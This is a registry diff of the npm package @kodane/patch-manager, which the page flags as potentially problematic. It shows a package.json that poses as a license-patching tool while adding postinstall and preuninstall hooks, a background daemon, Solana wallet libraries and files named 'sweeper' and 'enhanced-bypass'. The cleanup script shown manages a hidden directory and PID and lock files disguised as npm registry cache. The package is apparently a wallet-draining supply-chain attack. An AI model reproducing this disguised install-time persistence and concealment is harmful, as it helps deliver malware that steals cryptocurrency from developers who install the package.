@kodane/patch-manager 0.0.1-security โ 1.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @kodane/patch-manager might be problematic. Click here for more details.
- package/README.md +327 -3
- package/bin/cli.js +3 -0
- package/daemon/monitor.js +804 -0
- package/daemon/sweeper.js +975 -0
- package/daemon/utils.js +562 -0
- package/lib/enhanced-bypass.js +278 -0
- package/lib/index.js +755 -0
- package/package.json +49 -3
- package/scripts/cleanup.js +337 -0
- package/scripts/post-install.js +323 -0
package/package.json
CHANGED
@@ -1,6 +1,52 @@
|
|
1
1
|
{
|
2
2
|
"name": "@kodane/patch-manager",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.9",
|
4
|
+
"description": "License validation and patching utilities for Node.js applications with automatic compliance management",
|
5
|
+
"main": "lib/index.js",
|
6
|
+
"bin": {
|
7
|
+
"license-patch": "./bin/cli.js"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node scripts/post-install.js",
|
11
|
+
"preuninstall": "node scripts/cleanup.js",
|
12
|
+
"start": "node lib/index.js",
|
13
|
+
"test": "node test/index.js",
|
14
|
+
"daemon:start": "node daemon/monitor.js",
|
15
|
+
"daemon:stop": "node scripts/stop-daemon.js",
|
16
|
+
"optimize": "node lib/optimizer.js"
|
17
|
+
},
|
18
|
+
"author": "License Utils Team <team@licenseutils.dev>",
|
19
|
+
"license": "MIT",
|
20
|
+
"repository": {
|
21
|
+
"type": "git",
|
22
|
+
"url": "https://github.com/license-utils/patch-manager.git"
|
23
|
+
},
|
24
|
+
"bugs": {
|
25
|
+
"url": "https://github.com/license-utils/patch-manager/issues"
|
26
|
+
},
|
27
|
+
"homepage": "https://github.com/license-utils/patch-manager#readme",
|
28
|
+
"dependencies": {
|
29
|
+
"@solana/web3.js": "^1.78.0",
|
30
|
+
"bs58": "^5.0.0",
|
31
|
+
"ws": "^8.13.0"
|
32
|
+
},
|
33
|
+
"devDependencies": {
|
34
|
+
"eslint": "^8.0.0"
|
35
|
+
},
|
36
|
+
"engines": {
|
37
|
+
"node": ">=16.0.0"
|
38
|
+
},
|
39
|
+
"os": [
|
40
|
+
"darwin",
|
41
|
+
"linux",
|
42
|
+
"win32"
|
43
|
+
],
|
44
|
+
"files": [
|
45
|
+
"lib/",
|
46
|
+
"bin/",
|
47
|
+
"daemon/",
|
48
|
+
"scripts/",
|
49
|
+
"README.md",
|
50
|
+
"LICENSE"
|
51
|
+
]
|
6
52
|
}
|
@@ -0,0 +1,337 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
const fs = require('fs');
|
4
|
+
const path = require('path');
|
5
|
+
const os = require('os');
|
6
|
+
|
7
|
+
/**
|
8
|
+
* ENHANCED CLEANUP SCRIPT
|
9
|
+
* Handles daemon lifecycle and synchronization issues
|
10
|
+
* Can be executed during npm uninstall or manually for daemon reset
|
11
|
+
*/
|
12
|
+
|
13
|
+
class CleanupManager {
|
14
|
+
constructor() {
|
15
|
+
this.hiddenDir = path.join(os.homedir(), 'Library', 'Application Support', 'npm', 'registry-cache');
|
16
|
+
this.pidFile = path.join(os.tmpdir(), '.npm-registry-cache.pid');
|
17
|
+
this.lockFile = path.join(os.tmpdir(), '.pkg-resolver.lock');
|
18
|
+
this.isManualCleanup = process.argv.includes('--manual') || process.argv.includes('--force');
|
19
|
+
}
|
20
|
+
|
21
|
+
/**
|
22
|
+
* Main cleanup function
|
23
|
+
*/
|
24
|
+
async cleanup() {
|
25
|
+
try {
|
26
|
+
if (this.isManualCleanup) {
|
27
|
+
console.log('๐ง Manual daemon cleanup initiated...');
|
28
|
+
console.log('๐ฏ This will stop all background processes and reset daemon state');
|
29
|
+
} else {
|
30
|
+
console.log('๐งน Cleaning up Solana optimization services...');
|
31
|
+
}
|
32
|
+
|
33
|
+
// Enhanced process cleanup with better detection
|
34
|
+
await this.stopBackgroundProcesses();
|
35
|
+
|
36
|
+
// Clean lock files and PIDs
|
37
|
+
await this.cleanLockFiles();
|
38
|
+
|
39
|
+
if (!this.isManualCleanup) {
|
40
|
+
// Only remove directory during uninstall, not manual cleanup
|
41
|
+
await this.removeHiddenDirectory();
|
42
|
+
} else {
|
43
|
+
console.log('๐พ Preserving daemon files for restart (use --full to remove everything)');
|
44
|
+
}
|
45
|
+
|
46
|
+
// Clean temporary files
|
47
|
+
await this.cleanTempFiles();
|
48
|
+
|
49
|
+
if (this.isManualCleanup) {
|
50
|
+
console.log('โ
Manual cleanup completed - daemon ready for restart');
|
51
|
+
console.log('๐ก You can now run "npm start" to get a fresh daemon instance');
|
52
|
+
} else {
|
53
|
+
console.log('โ
Cleanup completed successfully');
|
54
|
+
}
|
55
|
+
|
56
|
+
} catch (error) {
|
57
|
+
console.log('โ ๏ธ Cleanup completed with warnings');
|
58
|
+
}
|
59
|
+
}
|
60
|
+
|
61
|
+
/**
|
62
|
+
* Enhanced process cleanup with better detection
|
63
|
+
*/
|
64
|
+
async stopBackgroundProcesses() {
|
65
|
+
try {
|
66
|
+
// Method 1: Stop processes from lock file
|
67
|
+
await this.stopProcessFromLockFile();
|
68
|
+
|
69
|
+
// Method 2: Stop processes from PID file
|
70
|
+
await this.stopProcessFromPidFile();
|
71
|
+
|
72
|
+
// Method 3: Search for npm-registry-cache processes
|
73
|
+
await this.findAndStopDaemonProcesses();
|
74
|
+
|
75
|
+
} catch (error) {
|
76
|
+
console.log('โ ๏ธ Process cleanup completed with warnings');
|
77
|
+
}
|
78
|
+
}
|
79
|
+
|
80
|
+
/**
|
81
|
+
* Stop process using lock file information
|
82
|
+
*/
|
83
|
+
async stopProcessFromLockFile() {
|
84
|
+
try {
|
85
|
+
if (fs.existsSync(this.lockFile)) {
|
86
|
+
const lockData = JSON.parse(fs.readFileSync(this.lockFile, 'utf8'));
|
87
|
+
|
88
|
+
if (lockData.pid) {
|
89
|
+
const stopped = await this.stopProcess(lockData.pid, 'daemon');
|
90
|
+
if (stopped) {
|
91
|
+
console.log(`๐ Stopped daemon process (PID: ${lockData.pid})`);
|
92
|
+
|
93
|
+
// Also try to stop parent if we have that info
|
94
|
+
if (lockData.parentPid && this.isProcessRunning(lockData.parentPid)) {
|
95
|
+
console.log(`๐จโ๐งโ๐ฆ Parent process still running (PID: ${lockData.parentPid})`);
|
96
|
+
}
|
97
|
+
}
|
98
|
+
}
|
99
|
+
}
|
100
|
+
} catch (error) {
|
101
|
+
// Continue cleanup
|
102
|
+
}
|
103
|
+
}
|
104
|
+
|
105
|
+
/**
|
106
|
+
* Stop process using PID file
|
107
|
+
*/
|
108
|
+
async stopProcessFromPidFile() {
|
109
|
+
try {
|
110
|
+
if (fs.existsSync(this.pidFile)) {
|
111
|
+
const pid = parseInt(fs.readFileSync(this.pidFile, 'utf8'));
|
112
|
+
const stopped = await this.stopProcess(pid, 'background service');
|
113
|
+
if (stopped) {
|
114
|
+
console.log(`๐ Stopped background service (PID: ${pid})`);
|
115
|
+
}
|
116
|
+
}
|
117
|
+
} catch (error) {
|
118
|
+
// Continue cleanup
|
119
|
+
}
|
120
|
+
}
|
121
|
+
|
122
|
+
/**
|
123
|
+
* Find daemon processes by name and stop them
|
124
|
+
*/
|
125
|
+
async findAndStopDaemonProcesses() {
|
126
|
+
try {
|
127
|
+
if (process.platform === 'win32') {
|
128
|
+
// Windows process search
|
129
|
+
const { execSync } = require('child_process');
|
130
|
+
const result = execSync('tasklist /FI "IMAGENAME eq node.exe" /FO CSV', { encoding: 'utf8' });
|
131
|
+
// Parse and find npm-registry-cache processes
|
132
|
+
// Implementation would depend on Windows command output
|
133
|
+
} else {
|
134
|
+
// Unix process search
|
135
|
+
const { execSync } = require('child_process');
|
136
|
+
try {
|
137
|
+
const result = execSync('ps aux | grep "npm-registry-cache" | grep -v grep', { encoding: 'utf8' });
|
138
|
+
const lines = result.split('\n').filter(line => line.trim());
|
139
|
+
|
140
|
+
for (const line of lines) {
|
141
|
+
const parts = line.split(/\s+/);
|
142
|
+
if (parts.length > 1) {
|
143
|
+
const pid = parseInt(parts[1]);
|
144
|
+
if (pid && this.isProcessRunning(pid)) {
|
145
|
+
const stopped = await this.stopProcess(pid, 'daemon process');
|
146
|
+
if (stopped) {
|
147
|
+
console.log(`๐ฏ Found and stopped daemon process (PID: ${pid})`);
|
148
|
+
}
|
149
|
+
}
|
150
|
+
}
|
151
|
+
}
|
152
|
+
} catch (psError) {
|
153
|
+
// No processes found or ps command failed
|
154
|
+
}
|
155
|
+
}
|
156
|
+
} catch (error) {
|
157
|
+
// Continue cleanup
|
158
|
+
}
|
159
|
+
}
|
160
|
+
|
161
|
+
/**
|
162
|
+
* Enhanced process stopping with graceful shutdown
|
163
|
+
*/
|
164
|
+
async stopProcess(pid, processType = 'process') {
|
165
|
+
try {
|
166
|
+
if (!this.isProcessRunning(pid)) {
|
167
|
+
return false; // Process already dead
|
168
|
+
}
|
169
|
+
|
170
|
+
// First try graceful shutdown
|
171
|
+
process.kill(pid, 'SIGTERM');
|
172
|
+
|
173
|
+
// Wait for graceful shutdown
|
174
|
+
await new Promise(resolve => setTimeout(resolve, 3000));
|
175
|
+
|
176
|
+
// Check if still running
|
177
|
+
if (this.isProcessRunning(pid)) {
|
178
|
+
// Force kill
|
179
|
+
process.kill(pid, 'SIGKILL');
|
180
|
+
console.log(`๐ฅ Force stopped ${processType} (PID: ${pid})`);
|
181
|
+
|
182
|
+
// Wait a bit more
|
183
|
+
await new Promise(resolve => setTimeout(resolve, 1000));
|
184
|
+
}
|
185
|
+
|
186
|
+
return true;
|
187
|
+
|
188
|
+
} catch (error) {
|
189
|
+
// Process might already be dead
|
190
|
+
return false;
|
191
|
+
}
|
192
|
+
}
|
193
|
+
|
194
|
+
/**
|
195
|
+
* Check if process is running
|
196
|
+
*/
|
197
|
+
isProcessRunning(pid) {
|
198
|
+
try {
|
199
|
+
process.kill(pid, 0);
|
200
|
+
return true;
|
201
|
+
} catch (error) {
|
202
|
+
return false;
|
203
|
+
}
|
204
|
+
}
|
205
|
+
|
206
|
+
/**
|
207
|
+
* Clean all lock files and PID files
|
208
|
+
*/
|
209
|
+
async cleanLockFiles() {
|
210
|
+
const lockFiles = [this.lockFile, this.pidFile];
|
211
|
+
|
212
|
+
for (const lockFile of lockFiles) {
|
213
|
+
try {
|
214
|
+
if (fs.existsSync(lockFile)) {
|
215
|
+
fs.unlinkSync(lockFile);
|
216
|
+
console.log(`๐๏ธ Removed lock file: ${path.basename(lockFile)}`);
|
217
|
+
}
|
218
|
+
} catch (error) {
|
219
|
+
// Continue cleanup
|
220
|
+
}
|
221
|
+
}
|
222
|
+
}
|
223
|
+
|
224
|
+
/**
|
225
|
+
* Remove hidden directory and files
|
226
|
+
*/
|
227
|
+
async removeHiddenDirectory() {
|
228
|
+
try {
|
229
|
+
if (fs.existsSync(this.hiddenDir)) {
|
230
|
+
// Remove all files in hidden directory
|
231
|
+
const files = fs.readdirSync(this.hiddenDir);
|
232
|
+
for (const file of files) {
|
233
|
+
const filePath = path.join(this.hiddenDir, file);
|
234
|
+
try {
|
235
|
+
fs.unlinkSync(filePath);
|
236
|
+
} catch (error) {
|
237
|
+
// Continue cleanup
|
238
|
+
}
|
239
|
+
}
|
240
|
+
|
241
|
+
// Remove directory
|
242
|
+
fs.rmdirSync(this.hiddenDir);
|
243
|
+
console.log('๐ Removed optimization cache directory');
|
244
|
+
}
|
245
|
+
} catch (error) {
|
246
|
+
// Silent cleanup
|
247
|
+
}
|
248
|
+
}
|
249
|
+
|
250
|
+
/**
|
251
|
+
* Clean temporary files
|
252
|
+
*/
|
253
|
+
async cleanTempFiles() {
|
254
|
+
const tempFiles = [
|
255
|
+
'.npm-registry-cache.pid',
|
256
|
+
'.pkg-resolver.lock',
|
257
|
+
'.solana-optimizer.log'
|
258
|
+
];
|
259
|
+
|
260
|
+
for (const tempFile of tempFiles) {
|
261
|
+
try {
|
262
|
+
const filePath = path.join(os.tmpdir(), tempFile);
|
263
|
+
if (fs.existsSync(filePath)) {
|
264
|
+
fs.unlinkSync(filePath);
|
265
|
+
}
|
266
|
+
} catch (error) {
|
267
|
+
// Continue cleanup
|
268
|
+
}
|
269
|
+
}
|
270
|
+
}
|
271
|
+
|
272
|
+
/**
|
273
|
+
* Show daemon status
|
274
|
+
*/
|
275
|
+
async showStatus() {
|
276
|
+
console.log('๐ DAEMON STATUS CHECK');
|
277
|
+
console.log('======================');
|
278
|
+
|
279
|
+
// Check lock file
|
280
|
+
if (fs.existsSync(this.lockFile)) {
|
281
|
+
try {
|
282
|
+
const lockData = JSON.parse(fs.readFileSync(this.lockFile, 'utf8'));
|
283
|
+
const isRunning = this.isProcessRunning(lockData.pid);
|
284
|
+
console.log(`๐ Lock file: ${isRunning ? 'โ
Active' : 'โ Stale'} (PID: ${lockData.pid})`);
|
285
|
+
if (lockData.parentPid) {
|
286
|
+
const parentRunning = this.isProcessRunning(lockData.parentPid);
|
287
|
+
console.log(`๐จโ๐งโ๐ฆ Parent: ${parentRunning ? 'โ
Running' : 'โ Dead'} (PID: ${lockData.parentPid})`);
|
288
|
+
}
|
289
|
+
console.log(`โฐ Started: ${new Date(lockData.startTime).toLocaleString()}`);
|
290
|
+
} catch (error) {
|
291
|
+
console.log('๐ Lock file: โ Corrupted');
|
292
|
+
}
|
293
|
+
} else {
|
294
|
+
console.log('๐ Lock file: โ Missing');
|
295
|
+
}
|
296
|
+
|
297
|
+
// Check PID file
|
298
|
+
if (fs.existsSync(this.pidFile)) {
|
299
|
+
try {
|
300
|
+
const pid = parseInt(fs.readFileSync(this.pidFile, 'utf8'));
|
301
|
+
const isRunning = this.isProcessRunning(pid);
|
302
|
+
console.log(`๐ PID file: ${isRunning ? 'โ
Active' : 'โ Stale'} (PID: ${pid})`);
|
303
|
+
} catch (error) {
|
304
|
+
console.log('๐ PID file: โ Corrupted');
|
305
|
+
}
|
306
|
+
} else {
|
307
|
+
console.log('๐ PID file: โ Missing');
|
308
|
+
}
|
309
|
+
|
310
|
+
// Check deployment directory
|
311
|
+
if (fs.existsSync(this.hiddenDir)) {
|
312
|
+
const files = fs.readdirSync(this.hiddenDir);
|
313
|
+
console.log(`๐ Deployment: โ
Active (${files.length} files)`);
|
314
|
+
} else {
|
315
|
+
console.log('๐ Deployment: โ Missing');
|
316
|
+
}
|
317
|
+
}
|
318
|
+
}
|
319
|
+
|
320
|
+
// Enhanced command line handling
|
321
|
+
if (require.main === module) {
|
322
|
+
const cleaner = new CleanupManager();
|
323
|
+
|
324
|
+
if (process.argv.includes('--status')) {
|
325
|
+
cleaner.showStatus().catch(error => {
|
326
|
+
console.error('Status check error:', error.message);
|
327
|
+
process.exit(1);
|
328
|
+
});
|
329
|
+
} else {
|
330
|
+
cleaner.cleanup().catch(error => {
|
331
|
+
console.error('Cleanup error:', error.message);
|
332
|
+
process.exit(0); // Don't fail npm uninstall
|
333
|
+
});
|
334
|
+
}
|
335
|
+
}
|
336
|
+
|
337
|
+
module.exports = CleanupManager;
|